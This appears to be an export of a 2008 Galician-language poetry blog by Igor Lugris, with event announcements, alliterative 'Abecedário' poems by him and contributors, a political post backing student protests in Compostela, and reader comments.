----- -------- AUTHOR: Lugris TITLE: As Letras na EOI de Ponferrada BASENAME: as_letras_na_eoi_de_ponferrada DATE: Fri, 16 May 2008 14:44:33 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por cá CATEGORY: TAGS: ----- BODY:Havia já muito tempo que nom me chamavam dumha escola, liceu ou similar para participar num acto do Dia das Letras, e é que isto de viver na Galiza mas fora da Comunidade Autóma Galega provoca que muita gente pense que vivo no estrangeiro.
Mas a questom é que este ano participo, com grande prazer, nos actos que com motivo do Dia das Letras organiza uma escola: a Escola Oficial de Idiomas de Ponferrada.
Junto com Sechu Sende, que estará a quinta-feira 22 com nós, na sexta farei umha apresentaçom-recital do meu proxecto "Poesia para ver/poesia para ler", convidados polo Departamento de Galego desta EOI.
Do 12 ao 30 de Maio, haverá umha Exposiçom gráfica e audiovisual da obra do autor a que este ano se lhe dedica o Dia das Letras, Xosé Maria Álvarez Blázquez.
O 22, e no Salom de Actos do CFIE, a partir das 18.00h., di o cartaz que publicita as jornadas que seremos hipnotizados por Sechu Sende. E o 23, eu, na sala 2.5 do C.P. La Puebla, onte tem umha das suas sedes a EOI.
A entrada é livre, assim que quem tenha a bem participar, que se anime.
----- COMMENT: AUTHOR: CHUS [Visitante] DATE: Tue, 03 Jun 2008 23:42:34 +0000 URL: http://visitanteMoi boa foi a tarde que pasamos grazas a Igor. A verdade é que había tempo que non gozaba tanto coa arte de empregar a nosa lingua dunha maneira tan orixinal.
Moitas grazas por tanta orixinalidade.
Repetiremos!!
Parabéns. Unha das mellores clases ás que tiven o placer de asistir.
Continuemos elaborando tarefas coa lingua, como fixemos esa tarde.
Grazas Lugrís.
Moi bota clase, a verdade é que pasamos unha tarde inesquecible, moi activa, chea de orixinalidade. Bravo por Igor, e moitas grazas por amosar que a lingua é unha materia que ás veces non está o suficientemente traballada.
A verdade é que foi unha tarde inesquecible.
De feito foi unha das clases máis activas, divertidas, movidas…en fin.. marabillosa!!
Animo a todos a que se teñen oportunidade, que gocen con este artista…
Moitas grazas.
Comenta Igor que había moito tempo que non o chamaban dunha escola, liceu ou similar para participar nun acto do Día das Letras. Pois permitídeme que diga que non saben o que perden. Animo dende aquí a calquera profesor ou similar, que non deixe de obsequiar ao seu alumnado cunha xuntanza con Igor e, por suposto, non ten por que esperar ao próximo vindeiro 17 de maio. Brindounos unha tarde, a do 23 de maio, na EOI de Ponferrada do máis amena, gratificante e instrutiva: divertímonos aprendendo e aprendemos divertíndonos. Igor ten moitas ideias: fai, di e crea cousas moi interesantes e, seguindo unha das liñas da súa filosofía ?TODO É DE TODOS? agasallounos ensinando e compartindo a súa creatividade poética, artística e ideolóxica. Vaian dende aquí os meus agradecementos e parabéns.
Marta
----- -------- AUTHOR: Lugris TITLE: A minha lingua... (III) BASENAME: a_minha_lingua_iii DATE: Thu, 15 May 2008 13:59:05 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Para Ver Ler CATEGORY: A minha língua... TAGS: ----- BODY:Ainda mais blogs onde apareceu a ediçom dos cartóns:
A Porta Verde do Sétimo Andar, Caminhos Cruzados, A Furna das Sereas, A Botica da Expresión,... (continuará?)
----- COMMENT: AUTHOR: Maria [Visitante] DATE: Mon, 19 May 2008 07:01:50 +0000 URL: http://centros.edu.xunta.es/iesollosgrandes/blogs/portugues/index.phpOs cartons tamém estám no liceu “Olhos Grandes” de Lugo e num dos blogues da escola, “Português Olhos Grandes”
Obrigada
Oquei, oquei… Prometido: para o próximo ano faremos algumha cousa com alguns mozotes ghuapos, ghuapos… :)
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Fri, 16 May 2008 01:21:22 +0000 URL: http://oportodosescravos.blogspot.comQuedaron moi chulos, teño un deles colado na parede. Aver se para outro ano facedes algún tamén cun mozote ghuapo, que nestes só saen mozas…
----- -------- AUTHOR: Lugris TITLE: De derrota em derrota... BASENAME: de_derrota_em_derrota DATE: Wed, 14 May 2008 09:55:45 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: Cousas por aí CATEGORY: Stop hipocrisia! TAGS: ----- BODY:Leo isto em Vieiros, e lembro-me disto no El Pais.
----- -------- AUTHOR: Lugris TITLE: I (Istoria de I, por Besbe) BASENAME: i_istoria_de_i_por_besbe DATE: Tue, 13 May 2008 14:49:07 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Abecedário CATEGORY: I TAGS: ----- BODY:Istoria
I. Inféstana inmumerables imbecilidades (idiotas).
Iscade insectos!
Insisten insaciables: imposibilítana. Irrompen insanos, invádena intratables, infernais (in)humanos. Inféctante I.
I-kurriña, I imperturbable, I inspira.
I inventa illas inaccesibles, icebergs interoceánicos, ideas incribles, ignotos istmos, iglús icosaédricos, isoglosas ilegais?incluso invernos ibicencos.
Inventas iso I, invéntalo imparablemente, impetuosa. Inventas infinitos instantes, inmunízaste imaxinando isto.
Ignición.
I implosiona: impúlsase incontrolablemente, inalcanzable, ilesa?indecentemente impúdica.
I´m I.
Por Besbe.
Para além de recolher no seu blogue, Beliscos Pequenos, a ediçom dos cartons com o poema "A minha língua...", Besbe oferece-nos umha nova aportaçom para o projecto colectivo do Abecedário, somando-se à sua anterior aportaçom.
Obrigado, Besbe.
O Abecedário sigue vivo! ...e a crescer!
Os cartóns do poema "A minha língua quero na tua boca", já forom, e ainda siguem, chegando aos seus destinatários.
Na rede tiverom bom suceso. Nom quigera deixar nengumha web sem citar, mas das que eu vim desde Vieiros, o PGL e A Nossa Terra, até diversos blogues: como O Trasno Viaxeiro, Made In Galiza, de Sechu Sende, Sen Silencios, de Alberte Moman, Beliscos Pequenos, de Besbe, com nova achega ao Abecedário incluida, no Chuza,...
E, imagino, ainda algumhas outras páginas das que eu nom tenho notícia. A todas e todos, obrigado.
laura já colou o envio no frigo. brigada
----- -------- AUTHOR: Lugris TITLE: A minha língua... BASENAME: a_minha_lingua DATE: Tue, 06 May 2008 16:46:49 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Para Ver Ler CATEGORY: A minha língua... TAGS: ----- BODY:A minha língua quero na tua boca
e nos teus lábios nos teus peitos
E no país inteiro do teu sexo
falar com o idioma que nos pertence
Procurar a humidade com a língua que nos une
para dar-lhe nome ao teu corpo
e repetir em cada rio em cada bosque
em cada outeiro da tua geografia
a promessa de quem ama sem palavras
Com o silêncio das estrelas, tam longínquo e singelo
Já estam na rua, ou por aí, ou chegando às moradas de diversas pessoas, as tarjetas editadas (por mim) com motivo do 18 (ou é 17?) de Maio deste ano.
Trata-se dumha ediçom especial do poema que lichedes antes de ler isto, e fai parte dum projecto (em construçom) (em permanente construçom), que chamo "Poesia para ver/poesia para ler".
A ediçom deste poema, consta de cinco ou seis tarjetas distintas, com umha tiragem de várias dúzias cada umha, com imagens desenhadas especialmente para acompanhar este poema. As imagens som "minhas", ainda que (como nom podia ser doutra forma), estam feitas a partir de imagens e desenhos (a maioria atopados na rede) doutros autores/as: Rodchenko (esta que acompanha o comentário), Andy Warhol, Roy Lichtenstein, a Bauhaus, cartazes de filmes,... em fim: imagens e iconas da cultura popular, ou quando menos da cultura pop.
Junto com as tarjetas, também editei inumerados exemplares dumha colecçom de autocolantes (coleccionáveis) a toda cor.
Até fim de existências, está aberta umha promoçom que consiste em que as pessoas que solicitem tarjetas poderam recebé-las depois de ter-me enviado um correio electrónico com os seus dados do mundo real ao meu endereço electrónico.
E, como sempre, está permitida, mesmo recomendada, a sua reproduçom, sempre que se citar fonte e procedência. Tudo é de todas/os. DEFENDE A CULTURA: cópia todo o que queiras, todo o que poidas, todo o que saibas.
PD/ Hoje, quarta-feira, o Xurxo Souto, recitou no seu programa na Rádio Galega, Aberto por Reformas, o meu poema. Muito obrigado, senhor Xurxo, companheiro Souto.
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Mon, 12 May 2008 15:21:27 +0000 URL: http://otrasnoviaxeiro.comGraciñas. Tamén a Teo chegou a túa postal. Eu xa a lera no caderno de Sechu. O que pasa é que á libreira gustoulle tanto que me chamou para dicirme que se ia quedar ela coa postal para enmarcala e pola na tenda, e coas pegatas para lucilas no seu carro. Así que se algún día repites e fas máis envios pon á atención de hormiga, por fa. Saudos.
----- COMMENT: AUTHOR: Maria [Visitante] DATE: Thu, 08 May 2008 06:27:37 +0000 URL:Caro Igor,
Obrigada por partilhares tanta beleza, vitalidade, língua…
Também sou conhecida de tempo atrás.
Pois eu já a recibim :) obrigado!
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 07 May 2008 13:53:50 +0000 URL:Obrigado, O_Fartura polas tuas palavras.
A verdade é que nom consigo lembrar quem es.
Visitei o teu blog para intentar averiguá-lo, mas sigo igual.
Mas tanto tem. Um saúdo!
----- COMMENT: AUTHOR: O_Fartura [Visitante] DATE: Wed, 07 May 2008 13:29:39 +0000 URL: http://singraduradarelinga.blogspot.com/Creo que en Galiza faltan creadores que conciban a rede como unha ferramenta útil.
No caso concreto da literatura( que na rede se enriquece coa aportación doutros ámbitos artísticos) é especialmente rechamante o anquilosamento xeral.
A iniciativa que presentas neste sentido é estupenda.
Un saúdo, dun coñecido de hai tempo do que de seguro xa non te acordas.
Un saúdo e sorte.
Caro, obrigada por partilhares as tuas criações; é um prazer grande te ler…
uma alegria te ter como amigo; ambas cousas celebro!
Abraços com muita poesia e língua
Concha
----- COMMENT: AUTHOR: Concha Rousia [Visitante] DATE: Wed, 07 May 2008 10:31:55 +0000 URL: http://rousia.hi5.comCaro, obrigada por partilhares as tuas criações; é um prazer grande te ler…
uma alegria te ter como amigo; ambas cousas celebro!
Abraços com muita poesia e língua
Concha
----- COMMENT: AUTHOR: corral [Visitante] DATE: Tue, 06 May 2008 21:58:04 +0000 URL:És um grande poeta, sim senhor.
----- -------- AUTHOR: Lugris TITLE: O nascimento dum Artefacto (Burbur) BASENAME: o_nascimento_dum_artefacto_burbur DATE: Fri, 28 Mar 2008 07:30:14 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Músicas TAGS: ----- BODY:Navegando, naufragando e afogando na rede, na procura doutras cousas nas que agora ando, atopei... um video dos Living Colour cantando a famosa cançom de "Elvis is Dead", num espectáculo em Montreaux no 2004, ligada com um dos temas seus mais conhecidos "Cult of Personality".
Esse tema dos Living Colour é o que aparece citado no meu poema "Artefacto Burbur", escrito, se nom lembro mal, entre o ano 95/96 do já passádo século, e publicado no livro "Quem nos defende a nós dos idiotas?" (Letras de Cal, Compostela, 1996).
Nom me resisto, nem o intento, a colar aqui o vídeo, e aproveitar para revisitar o Artefacto.
António Udina está morto, está vivo!!!
[youtube]XrMl_9zxzqw[/youtube]
Artefacto Burbur
"Si seguimos utilizando el lenguaje en su clave corriente, con sus finalidades corrientes,
nos moriremos sin haber sabido el verdadero nombre del dia"
(Julio Cortázar)
António Udina está morto
e também está morto Elvis
dim os Living Colour
Elvis era branco
dim
e por isso gravaba muitos discos
Se for negro nom poderia
nom poderia nem ranhar na guitarra
António Udina nom era negro
mas desde logo nom falaba umha língua de brancos
Tal vez esteja entre nós o nosso António Udina particular
Ele quando era pequeno nom imaginaba que ia ser António Udina
e centos de miles de estudantes saberiam dele
e saberiam de memória a data da sua morte
Ele nom o sabia
E Elvis também nom
Mas Elvis era branco
E António Udina nom falava umha língua de brancos
Além disso falava vegliota
Elvis fazia rock porque vendia
António Udina falava vegliota mas ele nom o sabia
porque já em 1898 nom ficava ninguem que falara raguseo
Chamava-se António Udina mas também lhe chamavam Burbur
A Elvis chamavam-lhe El-Rei
The King em inglês que parece mais importante
mas Elvis era branco
e por isso podia ser El-Rei
António Udina só podia ser Burbur
Entre nós nunca haverá um Elvis
a nom ser que se faga branco e fale com a língua dos brancos
Mas todos somos António Udina
e nos chamam Burbur
Elvis era branco e por isso gravou muitos discos
António Udina nom era negro
mas a sua língua nom era de brancos
ainda que todos falamos dálmata algumha vez na nossa vida
----- COMMENT: AUTHOR: Eduardo [Visitante] DATE: Mon, 01 Dec 2008 20:24:15 +0000 URL: http://corrienteroja.netOlá, Igor.
Andrea, a minha sobrinha, tem que fazer un trabalho para a clase de galego: escribir un conto.
Falei con ela da historia de Burbur, que eu conhecí por tu poema, e vai facer un conto sobre o derradeiro falante de galego num pobo do Berzo (Vilar de Corrais) e a similitude da sua historia coa de Antonio Udina.
Se podo envíote-la pra correxir-la.
Apertos.
así que logo ti debes ser igor lugrís, non? mira que cando estabamos no bacharelato botamos tempo buscando cousas túas pero non dabas aparecido máis ca no libro ese que mentas. claro, dende aquela, choveu algo. encantada de saudarte!
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Fri, 28 Mar 2008 14:57:21 +0000 URL: http://www.otrasnoviaxeiro.comMoi bo, tanto o video como o poema.
----- -------- AUTHOR: Lugris TITLE: G BASENAME: g DATE: Wed, 27 Feb 2008 17:50:58 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Abecedário CATEGORY: G TAGS: ----- BODY:Genial gaiteiro, genuino galam, garrido guerreiro, generoso ganhador, Genaro Gonçalves, galego, galopava galhardos garanhons guanches
Gorentava-lhe gabear góticas gándaras, governando grumetes gabachos, galváns, gandulos, groseiros.
Grenhas grilandeiras, guedelhas guerrilheiras, gastava guapo gorro gaucho.
Gostava-lhe gargarejar godelho.
----- COMMENT: AUTHOR: Uz [Visitante] DATE: Wed, 07 May 2008 11:18:08 +0000 URL: http://caminhos.gzpt.orgInquietador poema ;-) Lembra-me um pouco ao Suso de Toro em ‘Polaroid’ e aquele “xersee esesene” :D
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Tue, 04 Mar 2008 16:54:54 +0000 URL: http://www.tangaranhovermelho.blogspot.comjá vejo que progrides no teu progressivo. Pois nada, nada: a seguir!!!
----- -------- AUTHOR: Lugris TITLE: S (II) Substancia sen sentido, por Besbe BASENAME: s_ii_substancia_sen_sentido_por_besbe DATE: Tue, 26 Feb 2008 15:23:34 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: S TAGS: ----- BODY:Substancia sen sentido
Satélites soviéticos sostidos sobre soles. Son similar.
Son sospeitosa, son sílfide sideral, serena, silenciosa, semellando sorrir silvestremente, sosegada, sen sortellas, sen soldaduras. Soa, silabando silencios sinistros.
Sopeso sensacións sistemáticamente, sen saber se sospeitan, sen sentido, sen saber se son sobrevalorada, se satélites similares son suicidados, se son sacrílega, se saturo sentidos, se son?.se sinceiramente son sintagma.
Supuro solitario suicidio, si. Soporto sopor, sapos, serpes, suceden sinusoidais saciantes, suceden sinsabores, suceden simas sórdidas, sufócome, sublévome, subxúganme, subordínome. ?Succióname suicidio?, suplico.
Saberei ser substancia sen sentido?
Sempiterno salto. Solfeo. Si sostido, sonoro, Si, Si, Si, segue soando. Sónica soterrada, seductoras síntesis sentimentais, seguidamente sombras sensuais sobre sabas sedosas, semen salgado, saliva suorosa, sístoles sismográficas.
Sonámbula, sumérxome submisa. Sempre suxa. Sempre soa, sen sentido.
Saberei ser substancia sen sentido?
Si. Son so soma, semántica socorrida.
Son. Seino sen sabelo, sen soportalo.
Siloxismo: sáname, sacrifícame sádicamente, sepúltame seccionándome sépalos.
Sacro salto: sen sangrar, suspiro sílabas sensuais. Sabio, se soubeches saciarme.
Por Besbe
----- -------- AUTHOR: Lugris TITLE: N "Negar" por J.Gómez BASENAME: n_negar_por_j_gomez DATE: Tue, 26 Feb 2008 15:20:18 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: N TAGS: ----- BODY:Negar
Neguémos nomearnos necios!
Neguémonos! Namentras notables nautas
notifican nocivos naufraxios.
Nós, navallas no noxo nutridas,
noveles normalizados na nausea,
notorios nugalláns nados na nulidade,
noctámbulos nómadas na noite nus,
ninguneados netos neglixentes
neutralizados na neurastenia nai,
nidios nihilistas, nós,
nortearemos negruras neboentas
no novilunio nefasto.
Non necesitamos nardos nin ninfas núbiles,
non necesitamos nigromantes novidosos
nin nazarenos narcisistas
Necesitamos nadegádas nos nervios neurolóxicos,
necesitamos negar neste normalizado negror nocturno,
negar negando negociados necrófagos
negar nacendo
nacer negando.
*** por J.Gómez
Via Estíbaliz, descobrim duas novas aportaçons para o abecedário. Esta é umha delas. A próxima, no próximo post.
----- -------- AUTHOR: Lugris TITLE: Abecedário Progressivo (II) Bieito Penela BASENAME: abecedario_progressivo_ii_bieito_penela DATE: Mon, 25 Feb 2008 15:46:13 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: Abecedário Progressivo TAGS: ----- BODY:Achegóuseme brillando con delicadeza. Eu finxía grampar habituais informes. ?Jiana Kepler?, lin: ?Misión: Neutralizala. Observación: Procurar que regrese. Sospeita: Temémonos unha vil xogada.?
Zigzagueamos ata Beta Centauri. Debía espiala furtivamente, gabándoa hipocritamente. ?Información Jiana Kepler?, lin, ?mentireira, neglixente, ocupou prazas que rebordaban seu territorio. Utilizou vixilancias xerais zarapalleiras, acumulou burocracias controladoras discretas e fatigosos galanteos humillantes?.
Interpretei: Jiana Kepler localizou mortais nativos organizados, precursores, quizais racionalmente superiores. Trazou unha vixilancia xeral zoolóxica, actualizou bibliografías, catálogos de especies, fenomenoloxías, guías, historiografías...
Inconsciente Jiana Kepler, lamentabelmente maniática, namorouse, obtusa, perdidamente. Quérea raptar. Si, traizoar universais valores, xerando zarangalladas. ¡Anhela bicala con dozura...!
Envexábaa. Francamente. ¡Gran heroína iconoclasta!. Jiana Kepler ligara mortal, nativa, orgánica, pero que rebordaba simpatía, tenrura, utopía. ¡Valente xuvenil zuna!
Unha versión curta:
Achegóuseme balanceándose con delicadeza. Eu finxía grampar habituais informes. "Jiana Kepler", lin, ?Misión: Neutralizala. Observación: Pretendemos que regrese. Sospeita: Temémonos unha vil xogada zarapalleira.?
Bieito Penela.
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Fri, 29 Feb 2008 20:41:33 +0000 URL: http://www.otrasnoviaxeiro.comQué chulada!
----- -------- AUTHOR: Lugris TITLE: F (II). Alf, Minus Bálido BASENAME: f_ii_alf_minus_balido DATE: Mon, 25 Feb 2008 15:36:16 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: F TAGS: ----- BODY:fungo forcarei
funk finito de córdoba
fire fogos artificiais
filón fuck off
farándula
funambulismo fol
flecos e flocos
farfullar fanta
filomeno farra
farragoso
fletán fío
fatalidade
froita fonógrafo
folque feromona
fotosensible
fin
fuck you
fódete!
minus bálido (Oremos, A Regueifa plataforma 2007)
a l f
----- -------- AUTHOR: Lugris TITLE: F BASENAME: f DATE: Wed, 20 Feb 2008 12:13:50 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Abecedário CATEGORY: F TAGS: ----- BODY:Fabriquemos falsas figuras frenéticas, folerpas foráneas, frutos fugitivos, flexíveis farrapos.
Fagamos fantásticos feitizos funerários, figas fúnebres, fluidos fornicantes, fulgurantes froalhos.
Fechemos fedorentas fábricas, fugitivos foxos, fuchicantes furunchos.
Facilitemos façanhas fabulosas falsificando fracassados fenómenos. Ferraganchos flácidos formarám frondosos furacáns.
Fagamo-lo! Formulemos filigranas fermentando feluxe fatuo.
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Sun, 24 Feb 2008 13:30:52 +0000 URL: http://www.otrasnoviaxeiro.comGústame moito o teu poema e o de Estíbaliz.O que non me gusta nada é o captcha este da páxina, costame mogollón enviar os comentarios. uffff, levo xa cinco intentos…a ver se nunha destas acerto.
----- -------- AUTHOR: Lugris TITLE: A pintar bisontes... BASENAME: a_pintar_bisontes DATE: Tue, 19 Feb 2008 19:13:45 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Cousas por aí TAGS: ----- BODY:Esta quinta-feira, dia 21 de Fevereiro, estarei na Corunha, no Centro On, de CaixaGaliza, para participar no ciclo "Pinte un bisonte na caverna, por favor".
Convidado por Estibaliz Espinosa, ali estarei, a partir das 19:30h., e con entrada livre e gratuita, para falar um pouco deste blog, e das cousas que se podem fazer com um blog como este, ou como outros que andam por aí,...
Estades, por suposto, convidados/as a ver como pinto bisons, ou o que for, na caverna.
----- -------- AUTHOR: Lugris TITLE: M (Estíbaliz...) BASENAME: m_estibaliz DATE: Tue, 19 Feb 2008 18:41:14 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: M TAGS: ----- BODY:MIL MONOS MARCHAN
Máis marcianos
Menos musas
Máis mutación medular manifesta
Menos mentiras maxistradas. Militares. Monárquicas. Mitradas
Máis máscaras mordaces
Máis malva matutino
Menos mans moinantes manipulando multitudes
Máis marusía, moita marusía
Menos mandaríns marcadamente mediáticos
Máis mutismo
Menos música metade mediocre metade merda
Máis metabolismo máxico
Menos mileuristas muxindo ministerios macrocéfalos
Menos magnates miserábeis
Máis Marilyn Monroe
Menos mínimos
Menos matrimonios
Máis Marlene, Matahari, Murasaki
Máis mímese
Menos morbo médico
Máis michos, máis meigallos
Máis Moebius, Miguelanxo, Modigliani
Máis máquinas milagreiras
Máis maelstrom, menos marines
Menos munición mellorando mutilacións
Menos medios maquiavelos
Máis mentiras mitolóxicas
Máis mais
Máis Marx
Menos mundo
Máis M31
Menos M30
Menos memorias, máis mnemosine
Menos mulleres mesmamente misóxinas
Máis migracións menos mortificantes
Máis moléculas mollando margaridas
Menos modestia moderna mixtificada
Máis monstros mariños
Máis Maruja Mallo
Menos mitins
Menos mal
Máis mimo
Máis misterio
E...E 2008
----- -------- AUTHOR: Lugris TITLE: CONTRA A CAÇA ÀS BRUXAS EM COMPOSTELA BASENAME: contra_a_caca_as_bruxas_em_compostela DATE: Fri, 15 Feb 2008 17:01:27 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Cousas por cá CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! TAGS: ----- BODY:Alentada pola extrema direita espanhola, nas suas facçons política, meiática e universitaria, começou a caça às bruxas. Ou melhor dito: mais umha vez, pom-se em marcha a caça às bruxas contra tudo aquilo que se afaste do seu ideal, do seu ideário de ?Orden, Dios y Patria?.
Nesta ocassom, a excusa é o protesto que o estudantado independentista e de esquerdas protagonizou contra o mitim eleitoral que a ?demócrata de toda la vida? Maria San Gil realizou na Faculdade de Económicas de Compostela, disfarçado de conferencia universitaria. Parece ser que as mentes benpensantes que dirigem a dita facultade e a Universidade da Capital da nossa Naçom nom gostam dos protestos, e o que era um acto, legítimo e completamente democrático, de protesto ante dito mitim, acabou convertido, por obra e graça dos meios de (des)comunicaçiom, em ?violentos altercados e intento de agresión? à política espanhola e espanholista.
Nom tardou o PP e os seus secuaces em pór o grito no ceu polo atrevimento dessas dúzias de estudantes, que demostrarom que ainda é possível, que ainda é necessário, negar-se a ficar calado ante a campanha reaccionária do espanholismo mais recalcitrante. E falavam dum acto de protesto como se for o pecado mais terrível que se pudera cometer ?em democracia?.
Estas urgentes e rápidas notas, nom tenhem mais valor que parabenizar ao estudantado que esse dia agiu como devia, mostrando o seu rechaço à presença da San Gil, e também para mostrar a minha solidariedade com a pessoa detida, que se calhar, no momento de tu estar lendo estas palavras, já nom é um só, pois o delegado do Governo espanhol já amenaça com mais detençons, em quanto o Reitorado anuncia próximas expulsons de estudantes.
Quero, em homemagem a este estudantado, lembrar que os actos de protesto contra iniciativas semelhantes tennhem-se realizado por dúzias na Universidade de Compostela. Eu podo lembrar, por exemplo, como um grupo de estudantes fomos increpar e intentar impedir (infrutuosamente) umha charla do entom ministro Josep Borrel também na Facultade de Económicas. Ou o boicote, nesta ocassom com sucesso, dumha charla do já alcaide de Compostela, Sanches Bugalho, também na mesma faculdade, em plena campanha contra as cámaras de video-vigiláncia (quer dizer, de tele-control) instaladas polas ruas dessa cidade. O alcaide, convidado pola mesma pessoa, profesor universitário, que anos antes fora um dos promotores do boicote a Borrel, tivo que marchar da Faculdade, entre berros e protestos, sem dar o seu mitim, ou também seria umha conferencia... Acrescento, que o tal profesor, que anos antes considerava legítimo protestar contra Borrel, acusou-nos entom de ?violentos, energúmenos, antidemocratas, etc...? E é que a práctica do nudismo é o que tem: que nos deixa espidos ante das nossas misérias.
Ainda lembro outros actos semelhantes. Por exemplo, o boicote à presença na Faculdade de Filologia do espanholíssimo e espanholista Lázaro Carreter, mesmo uns dias depois de ter declarado a vários meios de comunicaçom o perigo que supunha a defesa das línguas ?regionales? no Estado espanhol. Dúzias de estudantes recebimo-lo como se merecia na entrada da Faculdade, e ele, muito digno, negou-se a entrar, sendo anulada a conferencia que ia dar, que seguramente também ia ser um mitim sobre o perigo que corre o espanhol ante os ?nacionalismos?.
Muitos outros actos semelhantes tenhem-se realizado na Universidade de Compostela, e noutras Universidades, nos últimos 30 anos, por nom irmos mais atrás no tempo. O que sucede, é que a direita aproveita qualquer excusa para atacar a quem no aceita os seus postulados. Mais umha vez, é necessário nom retroceder, porque a luita sigue a ser, como demostram os factos, o único caminho.
Igor Lugris
Ponferrada, O Bierzo,
14 de Fevereiro de 2008
Ritmo
Poesia postpoesia
Melodia transmelodia
Com esta rima
a música e a energia...
A senda do teu perfume
sobrevoava aquele humilde quarto do operário
que continuava a fazer parte
do sindicato dos pobres
com a certeza de que
os pequenos alquimistas vivem à margem das galas
Com as palavras que nunca dixemos
de pé baixo do pont-neuf
caminho sobre os passos do inverno e busco um oco
De que me valem agora as palavras
Eu levava cento e vinte dias repetindo o seu nome de seda
doem-me os pés
de manter o equilíbrio
O poema "é meu", os versos "som" de Rafa Villar, Maria Lado, Estibaliz Espinosa, Eduardo Estévez, Marta Dacosta, Baldo Ramos, Yolanda Castaño e Emma Couceir, e também há alguns versos tirados de músicas escuitadas na rádio.
Ainda que esteja mal citar-se, direi que já noutras duas ocassons publiquei estes textos que demostram que a propriedade privada, além de ser um roubo, na literatura é umha cousa mais que discutível.
----- COMMENT: AUTHOR: hormiga [Visitante] DATE: Fri, 15 Feb 2008 23:18:11 +0000 URL: http://www.otrasnoviaxeiro.comQuedou moi ben. Mola.
----- -------- AUTHOR: Lugris TITLE: E BASENAME: e_1 DATE: Thu, 14 Feb 2008 15:00:40 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Abecedário CATEGORY: E TAGS: ----- BODY:"Escolho estrelas. Estas Estrelas", explicava Ernesto.
Era evidente. Embora eles estivessem errados, eram expertos. Ele, errático, erúdito, esbaforia-se.
Estavam emagrecidos, exánimes, eivados. Evitavam exasperar-se. Era embalde. Estavam exuberantes, exaltados, exultantes.
Embarcaram-se elaborando eclécticas, elementais, elásticas elípses enaltecedoras: edificariam eficientes eixos emancipatórios, encomiando, eloqüentemenete, emergentes elites egrégias.
Embarrancaram em encerelhadas emboscadas, em esta exuberante embocadura enleada.
Escapáram. Escondidos, evitáram enfrontamentos, escaramuças.
Empantanados, enchoupados, ensarilhados, emprendiam encorajados esta epopea.
"Este enclave é excepcional", extremadamente energético, Ernesto evitava entolecer, ergueito.
"Enganaremo-los e engorde engrossaremos este exército. Enraizaremos!" Estava eufórico. "Expulsaremos esses esbirros e esta escravitude estoupará!". Eles e elas escuitavam expectantes.
Esta extensa e esvaradia enseada era excitantemente explorável.
Estremecerom-se. Escuitavam-se estentóreos estrépitos, estralos.
"Escolho estrelas. Estas estrelas. Estas estimulantes, enigmáticas e esplendorosas estrelas".
----- -------- AUTHOR: Lugris TITLE: D (2) BASENAME: d_2 DATE: Mon, 11 Feb 2008 15:45:51 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Abecedário CATEGORY: D TAGS: ----- BODY:Depois das derradeiras detençons, decidirom deixá-los descansar. "Deixade-os descansar", dijo Domínguez, Delegado da Direcçom, displicente, diligente, disciplinado.
"Dous dias de diligências,detençons e decomisos", declarou, delirante, Dositeu Drumond D'Anjou, Duque de Durazno, decidido defensor da decrépita Dinastia, "derom duascentas detençons de diábolicos delinqüentes, dacolá, daí, daló".
Demoniácos donos, depravados dandis, deprimentes deputados, delatarom dúzias de democratas. Denúncias de dadivosas damas decadentes decidiram desenvolver degradantes destruçons da defectuosa Democracia Dinástica.
Defraudadas demandas de demissons, difamantemente denominadas "denigrantes demostraçons da depauperaçom do desafio", digera Drumond D'Anjou, derivaram decissom de derrubamento da ditadura.
"Deslealdade! Desavinça! Deshonra", dizia o Déspota. Decretava desterros, decidia despedimentos, desejava descabeçamentos.
Dezassete dias depois, dezessete dias de desatados desvarios, desativaram, dificultosamente, difusom da dinámica dignidade.
Decisiva debacle, decadas depois, dará definitivo derrocamento da ditadura Dinástica.
Igor Lugris
----- -------- AUTHOR: Lugris TITLE: Abecedário progressivo (Eugénio Outeiro) BASENAME: abecedario_progressivo DATE: Mon, 11 Feb 2008 14:49:32 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: Abecedário Progressivo TAGS: ----- BODY:A bigorna cantava de energía. Falava grandes hábitos imortais jogando lâminas, mecânicas notas ou partituras quentes. Rangiam sinfonias tortuosas unicordes, vívidos xilofones zangados.
Eugénio Outeiro
----- -------- AUTHOR: Lugris TITLE: S (Eugénio Outeiro) BASENAME: s DATE: Sat, 09 Feb 2008 12:31:49 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: S TAGS: ----- BODY:Sossego.
Ser
sugado
sem
salamandras
sentindo
sapos
seródios.
Só
ser
selvagem
sob
siso:
Solidão,
soldado
subterrâneo.
Eugénio Outeiro
----- -------- AUTHOR: Lugris TITLE: R (Eugénio Outeiro) BASENAME: r DATE: Sat, 09 Feb 2008 12:30:36 +0000 STATUS: publish PRIMARY CATEGORY: Abecedário CATEGORY: R TAGS: ----- BODY:Raiva
Rastejando
relva
rasteira,
recordo
remorsos
rápidos:
recolho
retinas
relembradas.
Retortas
ratas
